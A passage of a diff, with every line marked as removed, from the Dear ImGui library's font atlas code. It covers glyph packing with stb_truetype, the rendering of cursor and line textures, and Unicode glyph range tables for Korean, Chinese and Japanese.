stbtt_FindGlyphIndex(&src_tmp.FontInfo, src_tmp.GlyphsList[glyph_i]); - IM_ASSERT(glyph_index_in_font != 0); - stbtt_GetGlyphBitmapBoxSubpixel(&src_tmp.FontInfo, glyph_index_in_font, scale * cfg.OversampleH, scale * cfg.OversampleV, 0, 0, &x0, &y0, &x1, &y1); - src_tmp.Rects[glyph_i].w = (stbrp_coord)(x1 - x0 + padding + cfg.OversampleH - 1); - src_tmp.Rects[glyph_i].h = (stbrp_coord)(y1 - y0 + padding + cfg.OversampleV - 1); - total_surface += src_tmp.Rects[glyph_i].w * src_tmp.Rects[glyph_i].h; - } - } - - // We need a width for the skyline algorithm, any width! - // The exact width doesn't really matter much, but some API/GPU have texture size limitations and increasing width can decrease height. - // User can override TexDesiredWidth and TexGlyphPadding if they wish, otherwise we use a simple heuristic to select the width based on expected surface. - const int surface_sqrt = (int)ImSqrt((float)total_surface) + 1; - atlas->TexHeight = 0; - if (atlas->TexDesiredWidth > 0) - atlas->TexWidth = atlas->TexDesiredWidth; - else - atlas->TexWidth = (surface_sqrt >= 4096 * 0.7f) ? 4096 : (surface_sqrt >= 2048 * 0.7f) ? 2048 : (surface_sqrt >= 1024 * 0.7f) ? 1024 : 512; - - // 5. Start packing - // Pack our extra data rectangles first, so it will be on the upper-left corner of our texture (UV will have small values). - const int TEX_HEIGHT_MAX = 1024 * 32; - stbtt_pack_context spc = {}; - stbtt_PackBegin(&spc, NULL, atlas->TexWidth, TEX_HEIGHT_MAX, 0, atlas->TexGlyphPadding, NULL); - ImFontAtlasBuildPackCustomRects(atlas, spc.pack_info); - - // 6. Pack each source font. No rendering yet, we are working with rectangles in an infinitely tall texture at this point. - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; - if (src_tmp.GlyphsCount == 0) - continue; - - stbrp_pack_rects((stbrp_context*)spc.pack_info, src_tmp.Rects, src_tmp.GlyphsCount); - - // Extend texture height and mark missing glyphs as non-packed so we won't render them. - // FIXME: We are not handling packing failure here (would happen if we got off TEX_HEIGHT_MAX or if a single if larger than TexWidth?) - for (int glyph_i = 0; glyph_i < src_tmp.GlyphsCount; glyph_i++) - if (src_tmp.Rects[glyph_i].was_packed) - atlas->TexHeight = ImMax(atlas->TexHeight, src_tmp.Rects[glyph_i].y + src_tmp.Rects[glyph_i].h); - } - - // 7. Allocate texture - atlas->TexHeight = (atlas->Flags & ImFontAtlasFlags_NoPowerOfTwoHeight) ? (atlas->TexHeight + 1) : ImUpperPowerOfTwo(atlas->TexHeight); - atlas->TexUvScale = ImVec2(1.0f / atlas->TexWidth, 1.0f / atlas->TexHeight); - atlas->TexPixelsAlpha8 = (unsigned char*)IM_ALLOC(atlas->TexWidth * atlas->TexHeight); - memset(atlas->TexPixelsAlpha8, 0, atlas->TexWidth * atlas->TexHeight); - spc.pixels = atlas->TexPixelsAlpha8; - spc.height = atlas->TexHeight; - - // 8. Render/rasterize font characters into the texture - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontConfig& cfg = atlas->ConfigData[src_i]; - ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; - if (src_tmp.GlyphsCount == 0) - continue; - - stbtt_PackFontRangesRenderIntoRects(&spc, &src_tmp.FontInfo, &src_tmp.PackRange, 1, src_tmp.Rects); - - // Apply multiply operator - if (cfg.RasterizerMultiply != 1.0f) - { - unsigned char multiply_table[256]; - ImFontAtlasBuildMultiplyCalcLookupTable(multiply_table, cfg.RasterizerMultiply); - stbrp_rect* r = &src_tmp.Rects[0]; - for (int glyph_i = 0; glyph_i < src_tmp.GlyphsCount; glyph_i++, r++) - if (r->was_packed) - ImFontAtlasBuildMultiplyRectAlpha8(multiply_table, atlas->TexPixelsAlpha8, r->x, r->y, r->w, r->h, atlas->TexWidth * 1); - } - src_tmp.Rects = NULL; - } - - // End packing - stbtt_PackEnd(&spc); - buf_rects.clear(); - - // 9. Setup ImFont and glyphs for runtime - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; - if (src_tmp.GlyphsCount == 0) - continue; - - // When merging fonts with MergeMode=true: - // - We can have multiple input fonts writing into a same destination font. - // - dst_font->ConfigData is != from cfg which is our source configuration. - ImFontConfig& cfg = atlas->ConfigData[src_i]; - ImFont* dst_font = cfg.DstFont; - - const float font_scale = stbtt_ScaleForPixelHeight(&src_tmp.FontInfo, cfg.SizePixels); - int unscaled_ascent, unscaled_descent, unscaled_line_gap; - stbtt_GetFontVMetrics(&src_tmp.FontInfo, &unscaled_ascent, &unscaled_descent, &unscaled_line_gap); - - const float ascent = ImFloor(unscaled_ascent * font_scale + ((unscaled_ascent > 0.0f) ? +1 : -1)); - const float descent = ImFloor(unscaled_descent * font_scale + ((unscaled_descent > 0.0f) ? +1 : -1)); - ImFontAtlasBuildSetupFont(atlas, dst_font, &cfg, ascent, descent); - const float font_off_x = cfg.GlyphOffset.x; - const float font_off_y = cfg.GlyphOffset.y + IM_ROUND(dst_font->Ascent); - - for (int glyph_i = 0; glyph_i < src_tmp.GlyphsCount; glyph_i++) - { - // Register glyph - const int codepoint = src_tmp.GlyphsList[glyph_i]; - const stbtt_packedchar& pc = src_tmp.PackedChars[glyph_i]; - stbtt_aligned_quad q; - float unused_x = 0.0f, unused_y = 0.0f; - stbtt_GetPackedQuad(src_tmp.PackedChars, atlas->TexWidth, atlas->TexHeight, glyph_i, &unused_x, &unused_y, &q, 0); - dst_font->AddGlyph(&cfg, (ImWchar)codepoint, q.x0 + font_off_x, q.y0 + font_off_y, q.x1 + font_off_x, q.y1 + font_off_y, q.s0, q.t0, q.s1, q.t1, pc.xadvance); - } - } - - // Cleanup temporary (ImVector doesn't honor destructor) - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - src_tmp_array[src_i].~ImFontBuildSrcData(); - - ImFontAtlasBuildFinish(atlas); - return true; -} - -const ImFontBuilderIO* ImFontAtlasGetBuilderForStbTruetype() -{ - static ImFontBuilderIO io; - io.FontBuilder_Build = ImFontAtlasBuildWithStbTruetype; - return &io; -} - -#endif // IMGUI_ENABLE_STB_TRUETYPE - -void ImFontAtlasBuildSetupFont(ImFontAtlas* atlas, ImFont* font, ImFontConfig* font_config, float ascent, float descent) -{ - if (!font_config->MergeMode) - { - font->ClearOutputData(); - font->FontSize = font_config->SizePixels; - font->ConfigData = font_config; - font->ConfigDataCount = 0; - font->ContainerAtlas = atlas; - font->Ascent = ascent; - font->Descent = descent; - } - font->ConfigDataCount++; -} - -void ImFontAtlasBuildPackCustomRects(ImFontAtlas* atlas, void* stbrp_context_opaque) -{ - stbrp_context* pack_context = (stbrp_context*)stbrp_context_opaque; - IM_ASSERT(pack_context != NULL); - - ImVector& user_rects = atlas->CustomRects; - IM_ASSERT(user_rects.Size >= 1); // We expect at least the default custom rects to be registered, else something went wrong. - - ImVector pack_rects; - pack_rects.resize(user_rects.Size); - memset(pack_rects.Data, 0, (size_t)pack_rects.size_in_bytes()); - for (int i = 0; i < user_rects.Size; i++) - { - pack_rects[i].w = user_rects[i].Width; - pack_rects[i].h = user_rects[i].Height; - } - stbrp_pack_rects(pack_context, &pack_rects[0], pack_rects.Size); - for (int i = 0; i < pack_rects.Size; i++) - if (pack_rects[i].was_packed) - { - user_rects[i].X = pack_rects[i].x; - user_rects[i].Y = pack_rects[i].y; - IM_ASSERT(pack_rects[i].w == user_rects[i].Width && pack_rects[i].h == user_rects[i].Height); - atlas->TexHeight = ImMax(atlas->TexHeight, pack_rects[i].y + pack_rects[i].h); - } -} - -void ImFontAtlasBuildRender8bppRectFromString(ImFontAtlas* atlas, int x, int y, int w, int h, const char* in_str, char in_marker_char, unsigned char in_marker_pixel_value) -{ - IM_ASSERT(x >= 0 && x + w <= atlas->TexWidth); - IM_ASSERT(y >= 0 && y + h <= atlas->TexHeight); - unsigned char* out_pixel = atlas->TexPixelsAlpha8 + x + (y * atlas->TexWidth); - for (int off_y = 0; off_y < h; off_y++, out_pixel += atlas->TexWidth, in_str += w) - for (int off_x = 0; off_x < w; off_x++) - out_pixel[off_x] = (in_str[off_x] == in_marker_char) ? in_marker_pixel_value : 0x00; -} - -void ImFontAtlasBuildRender32bppRectFromString(ImFontAtlas* atlas, int x, int y, int w, int h, const char* in_str, char in_marker_char, unsigned int in_marker_pixel_value) -{ - IM_ASSERT(x >= 0 && x + w <= atlas->TexWidth); - IM_ASSERT(y >= 0 && y + h <= atlas->TexHeight); - unsigned int* out_pixel = atlas->TexPixelsRGBA32 + x + (y * atlas->TexWidth); - for (int off_y = 0; off_y < h; off_y++, out_pixel += atlas->TexWidth, in_str += w) - for (int off_x = 0; off_x < w; off_x++) - out_pixel[off_x] = (in_str[off_x] == in_marker_char) ? in_marker_pixel_value : IM_COL32_BLACK_TRANS; -} - -static void ImFontAtlasBuildRenderDefaultTexData(ImFontAtlas* atlas) -{ - ImFontAtlasCustomRect* r = atlas->GetCustomRectByIndex(atlas->PackIdMouseCursors); - IM_ASSERT(r->IsPacked()); - - const int w = atlas->TexWidth; - if (!(atlas->Flags & ImFontAtlasFlags_NoMouseCursors)) - { - // Render/copy pixels - IM_ASSERT(r->Width == FONT_ATLAS_DEFAULT_TEX_DATA_W * 2 + 1 && r->Height == FONT_ATLAS_DEFAULT_TEX_DATA_H); - const int x_for_white = r->X; - const int x_for_black = r->X + FONT_ATLAS_DEFAULT_TEX_DATA_W + 1; - if (atlas->TexPixelsAlpha8 != NULL) - { - ImFontAtlasBuildRender8bppRectFromString(atlas, x_for_white, r->Y, FONT_ATLAS_DEFAULT_TEX_DATA_W, FONT_ATLAS_DEFAULT_TEX_DATA_H, FONT_ATLAS_DEFAULT_TEX_DATA_PIXELS, '.', 0xFF); - ImFontAtlasBuildRender8bppRectFromString(atlas, x_for_black, r->Y, FONT_ATLAS_DEFAULT_TEX_DATA_W, FONT_ATLAS_DEFAULT_TEX_DATA_H, FONT_ATLAS_DEFAULT_TEX_DATA_PIXELS, 'X', 0xFF); - } - else - { - ImFontAtlasBuildRender32bppRectFromString(atlas, x_for_white, r->Y, FONT_ATLAS_DEFAULT_TEX_DATA_W, FONT_ATLAS_DEFAULT_TEX_DATA_H, FONT_ATLAS_DEFAULT_TEX_DATA_PIXELS, '.', IM_COL32_WHITE); - ImFontAtlasBuildRender32bppRectFromString(atlas, x_for_black, r->Y, FONT_ATLAS_DEFAULT_TEX_DATA_W, FONT_ATLAS_DEFAULT_TEX_DATA_H, FONT_ATLAS_DEFAULT_TEX_DATA_PIXELS, 'X', IM_COL32_WHITE); - } - } - else - { - // Render 4 white pixels - IM_ASSERT(r->Width == 2 && r->Height == 2); - const int offset = (int)r->X + (int)r->Y * w; - if (atlas->TexPixelsAlpha8 != NULL) - { - atlas->TexPixelsAlpha8[offset] = atlas->TexPixelsAlpha8[offset + 1] = atlas->TexPixelsAlpha8[offset + w] = atlas->TexPixelsAlpha8[offset + w + 1] = 0xFF; - } - else - { - atlas->TexPixelsRGBA32[offset] = atlas->TexPixelsRGBA32[offset + 1] = atlas->TexPixelsRGBA32[offset + w] = atlas->TexPixelsRGBA32[offset + w + 1] = IM_COL32_WHITE; - } - } - atlas->TexUvWhitePixel = ImVec2((r->X + 0.5f) * atlas->TexUvScale.x, (r->Y + 0.5f) * atlas->TexUvScale.y); -} - -static void ImFontAtlasBuildRenderLinesTexData(ImFontAtlas* atlas) -{ - if (atlas->Flags & ImFontAtlasFlags_NoBakedLines) - return; - - // This generates a triangular shape in the texture, with the various line widths stacked on top of each other to allow interpolation between them - ImFontAtlasCustomRect* r = atlas->GetCustomRectByIndex(atlas->PackIdLines); - IM_ASSERT(r->IsPacked()); - for (unsigned int n = 0; n < IM_DRAWLIST_TEX_LINES_WIDTH_MAX + 1; n++) // +1 because of the zero-width row - { - // Each line consists of at least two empty pixels at the ends, with a line of solid pixels in the middle - unsigned int y = n; - unsigned int line_width = n; - unsigned int pad_left = (r->Width - line_width) / 2; - unsigned int pad_right = r->Width - (pad_left + line_width); - - // Write each slice - IM_ASSERT(pad_left + line_width + pad_right == r->Width && y < r->Height); // Make sure we're inside the texture bounds before we start writing pixels - if (atlas->TexPixelsAlpha8 != NULL) - { - unsigned char* write_ptr = &atlas->TexPixelsAlpha8[r->X + ((r->Y + y) * atlas->TexWidth)]; - for (unsigned int i = 0; i < pad_left; i++) - *(write_ptr + i) = 0x00; - - for (unsigned int i = 0; i < line_width; i++) - *(write_ptr + pad_left + i) = 0xFF; - - for (unsigned int i = 0; i < pad_right; i++) - *(write_ptr + pad_left + line_width + i) = 0x00; - } - else - { - unsigned int* write_ptr = &atlas->TexPixelsRGBA32[r->X + ((r->Y + y) * atlas->TexWidth)]; - for (unsigned int i = 0; i < pad_left; i++) - *(write_ptr + i) = IM_COL32_BLACK_TRANS; - - for (unsigned int i = 0; i < line_width; i++) - *(write_ptr + pad_left + i) = IM_COL32_WHITE; - - for (unsigned int i = 0; i < pad_right; i++) - *(write_ptr + pad_left + line_width + i) = IM_COL32_BLACK_TRANS; - } - - // Calculate UVs for this line - ImVec2 uv0 = ImVec2((float)(r->X + pad_left - 1), (float)(r->Y + y)) * atlas->TexUvScale; - ImVec2 uv1 = ImVec2((float)(r->X + pad_left + line_width + 1), (float)(r->Y + y + 1)) * atlas->TexUvScale; - float half_v = (uv0.y + uv1.y) * 0.5f; // Calculate a constant V in the middle of the row to avoid sampling artifacts - atlas->TexUvLines[n] = ImVec4(uv0.x, half_v, uv1.x, half_v); - } -} - -// Note: this is called / shared by both the stb_truetype and the FreeType builder -void ImFontAtlasBuildInit(ImFontAtlas* atlas) -{ - // Register texture region for mouse cursors or standard white pixels - if (atlas->PackIdMouseCursors < 0) - { - if (!(atlas->Flags & ImFontAtlasFlags_NoMouseCursors)) - atlas->PackIdMouseCursors = atlas->AddCustomRectRegular(FONT_ATLAS_DEFAULT_TEX_DATA_W * 2 + 1, FONT_ATLAS_DEFAULT_TEX_DATA_H); - else - atlas->PackIdMouseCursors = atlas->AddCustomRectRegular(2, 2); - } - - // Register texture region for thick lines - // The +2 here is to give space for the end caps, whilst height +1 is to accommodate the fact we have a zero-width row - if (atlas->PackIdLines < 0) - { - if (!(atlas->Flags & ImFontAtlasFlags_NoBakedLines)) - atlas->PackIdLines = atlas->AddCustomRectRegular(IM_DRAWLIST_TEX_LINES_WIDTH_MAX + 2, IM_DRAWLIST_TEX_LINES_WIDTH_MAX + 1); - } -} - -// This is called/shared by both the stb_truetype and the FreeType builder. -void ImFontAtlasBuildFinish(ImFontAtlas* atlas) -{ - // Render into our custom data blocks - IM_ASSERT(atlas->TexPixelsAlpha8 != NULL || atlas->TexPixelsRGBA32 != NULL); - ImFontAtlasBuildRenderDefaultTexData(atlas); - ImFontAtlasBuildRenderLinesTexData(atlas); - - // Register custom rectangle glyphs - for (int i = 0; i < atlas->CustomRects.Size; i++) - { - const ImFontAtlasCustomRect* r = &atlas->CustomRects[i]; - if (r->Font == NULL || r->GlyphID == 0) - continue; - - // Will ignore ImFontConfig settings: GlyphMinAdvanceX, GlyphMinAdvanceY, GlyphExtraSpacing, PixelSnapH - IM_ASSERT(r->Font->ContainerAtlas == atlas); - ImVec2 uv0, uv1; - atlas->CalcCustomRectUV(r, &uv0, &uv1); - r->Font->AddGlyph(NULL, (ImWchar)r->GlyphID, r->GlyphOffset.x, r->GlyphOffset.y, r->GlyphOffset.x + r->Width, r->GlyphOffset.y + r->Height, uv0.x, uv0.y, uv1.x, uv1.y, r->GlyphAdvanceX); - } - - // Build all fonts lookup tables - for (int i = 0; i < atlas->Fonts.Size; i++) - if (atlas->Fonts[i]->DirtyLookupTables) - atlas->Fonts[i]->BuildLookupTable(); - - // Ellipsis character is required for rendering elided text. We prefer using U+2026 (horizontal ellipsis). - // However some old fonts may contain ellipsis at U+0085. Here we auto-detect most suitable ellipsis character. - // FIXME: Also note that 0x2026 is currently seldom included in our font ranges. Because of this we are more likely to use three individual dots. - for (int i = 0; i < atlas->Fonts.size(); i++) - { - ImFont* font = atlas->Fonts[i]; - if (font->EllipsisChar != (ImWchar)-1) - continue; - const ImWchar ellipsis_variants[] = { (ImWchar)0x2026, (ImWchar)0x0085 }; - for (int j = 0; j < IM_ARRAYSIZE(ellipsis_variants); j++) - if (font->FindGlyphNoFallback(ellipsis_variants[j]) != NULL) // Verify glyph exists - { - font->EllipsisChar = ellipsis_variants[j]; - break; - } - } -} - -// Retrieve list of range (2 int per range, values are inclusive) -const ImWchar* ImFontAtlas::GetGlyphRangesDefault() -{ - static const ImWchar ranges[] = - { - 0x0020, 0x00FF, // Basic Latin + Latin Supplement - 0, - }; - return &ranges[0]; -} - -const ImWchar* ImFontAtlas::GetGlyphRangesKorean() -{ - static const ImWchar ranges[] = - { - 0x0020, 0x00FF, // Basic Latin + Latin Supplement - 0x3131, 0x3163, // Korean alphabets - 0xAC00, 0xD7A3, // Korean characters - 0, - }; - return &ranges[0]; -} - -const ImWchar* ImFontAtlas::GetGlyphRangesChineseFull() -{ - static const ImWchar ranges[] = - { - 0x0020, 0x00FF, // Basic Latin + Latin Supplement - 0x2000, 0x206F, // General Punctuation - 0x3000, 0x30FF, // CJK Symbols and Punctuations, Hiragana, Katakana - 0x31F0, 0x31FF, // Katakana Phonetic Extensions - 0xFF00, 0xFFEF, // Half-width characters - 0x4e00, 0x9FAF, // CJK Ideograms - 0, - }; - return &ranges[0]; -} - -static void UnpackAccumulativeOffsetsIntoRanges(int base_codepoint, const short* accumulative_offsets, int accumulative_offsets_count, ImWchar* out_ranges) -{ - for (int n = 0; n < accumulative_offsets_count; n++, out_ranges += 2) - { - out_ranges[0] = out_ranges[1] = (ImWchar)(base_codepoint + accumulative_offsets[n]); - base_codepoint += accumulative_offsets[n]; - } - out_ranges[0] = 0; -} - -//------------------------------------------------------------------------- -// [SECTION] ImFontAtlas glyph ranges helpers -//------------------------------------------------------------------------- - -const ImWchar* ImFontAtlas::GetGlyphRangesChineseSimplifiedCommon() -{ - // Store 2500 regularly used characters for Simplified Chinese. - // Sourced from https://zh.wiktionary.org/wiki/%E9%99%84%E5%BD%95:%E7%8E%B0%E4%BB%A3%E6%B1%89%E8%AF%AD%E5%B8%B8%E7%94%A8%E5%AD%97%E8%A1%A8 - // This table covers 97.97% of all characters used during the month in July, 1987. - // You can use ImFontGlyphRangesBuilder to create your own ranges derived from this, by merging existing ranges or adding new characters. - // (Stored as accumulative offsets from the initial unicode codepoint 0x4E00. This encoding is designed to helps us compact the source code size.) - static const short accumulative_offsets_from_0x4E00[] = - { - 0,1,2,4,1,1,1,1,2,1,3,2,1,2,2,1,1,1,1,1,5,2,1,2,3,3,3,2,2,4,1,1,1,2,1,5,2,3,1,2,1,2,1,1,2,1,1,2,2,1,4,1,1,1,1,5,10,1,2,19,2,1,2,1,2,1,2,1,2, - 1,5,1,6,3,2,1,2,2,1,1,1,4,8,5,1,1,4,1,1,3,1,2,1,5,1,2,1,1,1,10,1,1,5,2,4,6,1,4,2,2,2,12,2,1,1,6,1,1,1,4,1,1,4,6,5,1,4,2,2,4,10,7,1,1,4,2,4, - 2,1,4,3,6,10,12,5,7,2,14,2,9,1,1,6,7,10,4,7,13,1,5,4,8,4,1,1,2,28,5,6,1,1,5,2,5,20,2,2,9,8,11,2,9,17,1,8,6,8,27,4,6,9,20,11,27,6,68,2,2,1,1, - 1,2,1,2,2,7,6,11,3,3,1,1,3,1,2,1,1,1,1,1,3,1,1,8,3,4,1,5,7,2,1,4,4,8,4,2,1,2,1,1,4,5,6,3,6,2,12,3,1,3,9,2,4,3,4,1,5,3,3,1,3,7,1,5,1,1,1,1,2, - 3,4,5,2,3,2,6,1,1,2,1,7,1,7,3,4,5,15,2,2,1,5,3,22,19,2,1,1,1,1,2,5,1,1,1,6,1,1,12,8,2,9,18,22,4,1,1,5,1,16,1,2,7,10,15,1,1,6,2,4,1,2,4,1,6, - 1,1,3,2,4,1,6,4,5,1,2,1,1,2,1,10,3,1,3,2,1,9,3,2,5,7,2,19,4,3,6,1,1,1,1,1,4,3,2,1,1,1,2,5,3,1,1,1,2,2,1,1,2,1,1,2,1,3,1,1,1,3,7,1,4,1,1,2,1, - 1,2,1,2,4,4,3,8,1,1,1,2,1,3,5,1,3,1,3,4,6,2,2,14,4,6,6,11,9,1,15,3,1,28,5,2,5,5,3,1,3,4,5,4,6,14,3,2,3,5,21,2,7,20,10,1,2,19,2,4,28,28,2,3, - 2,1,14,4,1,26,28,42,12,40,3,52,79,5,14,17,3,2,2,11,3,4,6,3,1,8,2,23,4,5,8,10,4,2,7,3,5,1,1,6,3,1,2,2,2,5,28,1,1,7,7,20,5,3,29,3,17,26,1,8,4, - 27,3,6,11,23,5,3,4,6,13,24,16,6,5,10,25,35,7,3,2,3,3,14,3,6,2,6,1,4,2,3,8,2,1,1,3,3,3,4,1,1,13,2,2,4,5,2,1,14,14,1,2,2,1,4,5,2,3,1,14,3,12, - 3,17,2,16,5,1,2,1,8,9,3,19,4,2,2,4,17,25,21,20,28,75,1,10,29,103,4,1,2,1,1,4,2,4,1,2,3,24,2,2,2,1,1,2,1,3,8,1,1,1,2,1,1,3,1,1,1,6,1,5,3,1,1, - 1,3,4,1,1,5,2,1,5,6,13,9,16,1,1,1,1,3,2,3,2,4,5,2,5,2,2,3,7,13,7,2,2,1,1,1,1,2,3,3,2,1,6,4,9,2,1,14,2,14,2,1,18,3,4,14,4,11,41,15,23,15,23, - 176,1,3,4,1,1,1,1,5,3,1,2,3,7,3,1,1,2,1,2,4,4,6,2,4,1,9,7,1,10,5,8,16,29,1,1,2,2,3,1,3,5,2,4,5,4,1,1,2,2,3,3,7,1,6,10,1,17,1,44,4,6,2,1,1,6, - 5,4,2,10,1,6,9,2,8,1,24,1,2,13,7,8,8,2,1,4,1,3,1,3,3,5,2,5,10,9,4,9,12,2,1,6,1,10,1,1,7,7,4,10,8,3,1,13,4,3,1,6,1,3,5,2,1,2,17,16,5,2,16,6, - 1,4,2,1,3,3,6,8,5,11,11,1,3,3,2,4,6,10,9,5,7,4,7,4,7,1,1,4,2,1,3,6,8,7,1,6,11,5,5,3,24,9,4,2,7,13,5,1,8,82,16,61,1,1,1,4,2,2,16,10,3,8,1,1, - 6,4,2,1,3,1,1,1,4,3,8,4,2,2,1,1,1,1,1,6,3,5,1,1,4,6,9,2,1,1,1,2,1,7,2,1,6,1,5,4,4,3,1,8,1,3,3,1,3,2,2,2,2,3,1,6,1,2,1,2,1,3,7,1,8,2,1,2,1,5, - 2,5,3,5,10,1,2,1,1,3,2,5,11,3,9,3,5,1,1,5,9,1,2,1,5,7,9,9,8,1,3,3,3,6,8,2,3,2,1,1,32,6,1,2,15,9,3,7,13,1,3,10,13,2,14,1,13,10,2,1,3,10,4,15, - 2,15,15,10,1,3,9,6,9,32,25,26,47,7,3,2,3,1,6,3,4,3,2,8,5,4,1,9,4,2,2,19,10,6,2,3,8,1,2,2,4,2,1,9,4,4,4,6,4,8,9,2,3,1,1,1,1,3,5,5,1,3,8,4,6, - 2,1,4,12,1,5,3,7,13,2,5,8,1,6,1,2,5,14,6,1,5,2,4,8,15,5,1,23,6,62,2,10,1,1,8,1,2,2,10,4,2,2,9,2,1,1,3,2,3,1,5,3,3,2,1,3,8,1,1,1,11,3,1,1,4, - 3,7,1,14,1,2,3,12,5,2,5,1,6,7,5,7,14,11,1,3,1,8,9,12,2,1,11,8,4,4,2,6,10,9,13,1,1,3,1,5,1,3,2,4,4,1,18,2,3,14,11,4,29,4,2,7,1,3,13,9,2,2,5, - 3,5,20,7,16,8,5,72,34,6,4,22,12,12,28,45,36,9,7,39,9,191,1,1,1,4,11,8,4,9,2,3,22,1,1,1,1,4,17,1,7,7,1,11,31,10,2,4,8,2,3,2,1,4,2,16,4,32,2, - 3,19,13,4,9,1,5,2,14,8,1,1,3,6,19,6,5,1,16,6,2,10,8,5,1,2,3,1,5,5,1,11,6,6,1,3,3,2,6,3,8,1,1,4,10,7,5,7,7,5,8,9,2,1,3,4,1,1,3,1,3,3,2,6,16, - 1,4,6,3,1,10,6,1,3,15,2,9,2,10,25,13,9,16,6,2,2,10,11,4,3,9,1,2,6,6,5,4,30,40,1,10,7,12,14,33,6,3,6,7,3,1,3,1,11,14,4,9,5,12,11,49,18,51,31, - 140,31,2,2,1,5,1,8,1,10,1,4,4,3,24,1,10,1,3,6,6,16,3,4,5,2,1,4,2,57,10,6,22,2,22,3,7,22,6,10,11,36,18,16,33,36,2,5,5,1,1,1,4,10,1,4,13,2,7, - 5,2,9,3,4,1,7,43,3,7,3,9,14,7,9,1,11,1,1,3,7,4,18,13,1,14,1,3,6,10,73,2,2,30,6,1,11,18,19,13,22,3,46,42,37,89,7,3,16,34,2,2,3,9,1,7,1,1,1,2, - 2,4,10,7,3,10,3,9,5,28,9,2,6,13,7,3,1,3,10,2,7,2,11,3,6,21,54,85,2,1,4,2,2,1,39,3,21,2,2,5,1,1,1,4,1,1,3,4,15,1,3,2,4,4,2,3,8,2,20,1,8,7,13, - 4,1,26,6,2,9,34,4,21,52,10,4,4,1,5,12,2,11,1,7,2,30,12,44,2,30,1,1,3,6,16,9,17,39,82,2,2,24,7,1,7,3,16,9,14,44,2,1,2,1,2,3,5,2,4,1,6,7,5,3, - 2,6,1,11,5,11,2,1,18,19,8,1,3,24,29,2,1,3,5,2,2,1,13,6,5,1,46,11,3,5,1,1,5,8,2,10,6,12,6,3,7,11,2,4,16,13,2,5,1,1,2,2,5,2,28,5,2,23,10,8,4, - 4,22,39,95,38,8,14,9,5,1,13,5,4,3,13,12,11,1,9,1,27,37,2,5,4,4,63,211,95,2,2,2,1,3,5,2,1,1,2,2,1,1,1,3,2,4,1,2,1,1,5,2,2,1,1,2,3,1,3,1,1,1, - 3,1,4,2,1,3,6,1,1,3,7,15,5,3,2,5,3,9,11,4,2,22,1,6,3,8,7,1,4,28,4,16,3,3,25,4,4,27,27,1,4,1,2,2,7,1,3,5,2,28,8,2,14,1,8,6,16,25,3,3,3,14,3, - 3,1,1,2,1,4,6,3,8,4,1,1,1,2,3,6,10,6,2,3,18,3,2,5,5,4,3,1,5,2,5,4,23,7,6,12,6,4,17,11,9,5,1,1,10,5,12,1,1,11,26,33,7,3,6,1,17,7,1,5,12,1,11, - 2,4,1,8,14,17,23,1,2,1,7,8,16,11,9,6,5,2,6,4,16,2,8,14,1,11,8,9,1,1,1,9,25,4,11,19,7,2,15,2,12,8,52,7,5,19,2,16,4,36,8,1,16,8,24,26,4,6,2,9, - 5,4,36,3,28,12,25,15,37,27,17,12,59,38,5,32,127,1,2,9,17,14,4,1,2,1,1,8,11,50,4,14,2,19,16,4,17,5,4,5,26,12,45,2,23,45,104,30,12,8,3,10,2,2, - 3,3,1,4,20,7,2,9,6,15,2,20,1,3,16,4,11,15,6,134,2,5,59,1,2,2,2,1,9,17,3,26,137,10,211,59,1,2,4,1,4,1,1,1,2,6,2,3,1,1,2,3,2,3,1,3,4,4,2,3,3, - 1,4,3,1,7,2,2,3,1,2,1,3,3,3,2,2,3,2,1,3,14,6,1,3,2,9,6,15,27,9,34,145,1,1,2,1,1,1,1,2,1,1,1,1,2,2,2,3,1,2,1,1,1,2,3,5,8,3,5,2,4,1,3,2,2,2,12, - 4,1,1,1,10,4,5,1,20,4,16,1,15,9,5,12,2,9,2,5,4,2,26,19,7,1,26,4,30,12,15,42,1,6,8,172,1,1,4,2,1,1,11,2,2,4,2,1,2,1,10,8,1,2,1,4,5,1,2,5,1,8, - 4,1,3,4,2,1,6,2,1,3,4,1,2,1,1,1,1,12,5,7,2,4,3,1,1,1,3,3,6,1,2,2,3,3,3,2,1,2,12,14,11,6,6,4,12,2,8,1,7,10,1,35,7,4,13,15,4,3,23,21,28,52,5, - 26,5,6,1,7,10,2,7,53,3,2,1,1,1,2,163,532,1,10,11,1,3,3,4,8,2,8,6,2,2,23,22,4,2,2,4,2,1,3,1,3,3,5,9,8,2,1,2,8,1,10,2,12,21,20,15,105,2,3,1,1, - 3,2,3,1,1,2,5,1,4,15,11,19,1,1,1,1,5,4,5,1,1,2,5,3,5,12,1,2,5,1,11,1,1,15,9,1,4,5,3,26,8,2,1,3,1,1,15,19,2,12,1,2,5,2,7,2,19,2,20,6,26,7,5, - 2,2,7,34,21,13,70,2,128,1,1,2,1,1,2,1,1,3,2,2,2,15,1,4,1,3,4,42,10,6,1,49,85,8,1,2,1,1,4,4,2,3,6,1,5,7,4,3,211,4,1,2,1,2,5,1,2,4,2,2,6,5,6, - 10,3,4,48,100,6,2,16,296,5,27,387,2,2,3,7,16,8,5,38,15,39,21,9,10,3,7,59,13,27,21,47,5,21,6 - }; - static ImWchar base_ranges[] = // not zero-terminated - { - 0x0020, 0x00FF, // Basic Latin + Latin Supplement - 0x2000, 0x206F, // General Punctuation - 0x3000, 0x30FF, // CJK Symbols and Punctuations, Hiragana, Katakana - 0x31F0, 0x31FF, // Katakana Phonetic Extensions - 0xFF00, 0xFFEF // Half-width characters - }; - static ImWchar full_ranges[IM_ARRAYSIZE(base_ranges) + IM_ARRAYSIZE(accumulative_offsets_from_0x4E00) * 2 + 1] = { 0 }; - if (!full_ranges[0]) - { - memcpy(full_ranges, base_ranges, sizeof(base_ranges)); - UnpackAccumulativeOffsetsIntoRanges(0x4E00, accumulative_offsets_from_0x4E00, IM_ARRAYSIZE(accumulative_offsets_from_0x4E00), full_ranges + IM_ARRAYSIZE(base_ranges)); - } - return &full_ranges[0]; -} - -const ImWchar* ImFontAtlas::GetGlyphRangesJapanese() -{ - // 2999 ideograms code points for Japanese - // - 2136 Joyo (meaning "for regular use" or "for common use") Kanji code points - // - 863 Jinmeiyo (meaning "for personal name") Kanji code points - // - Sourced from the character information database of the 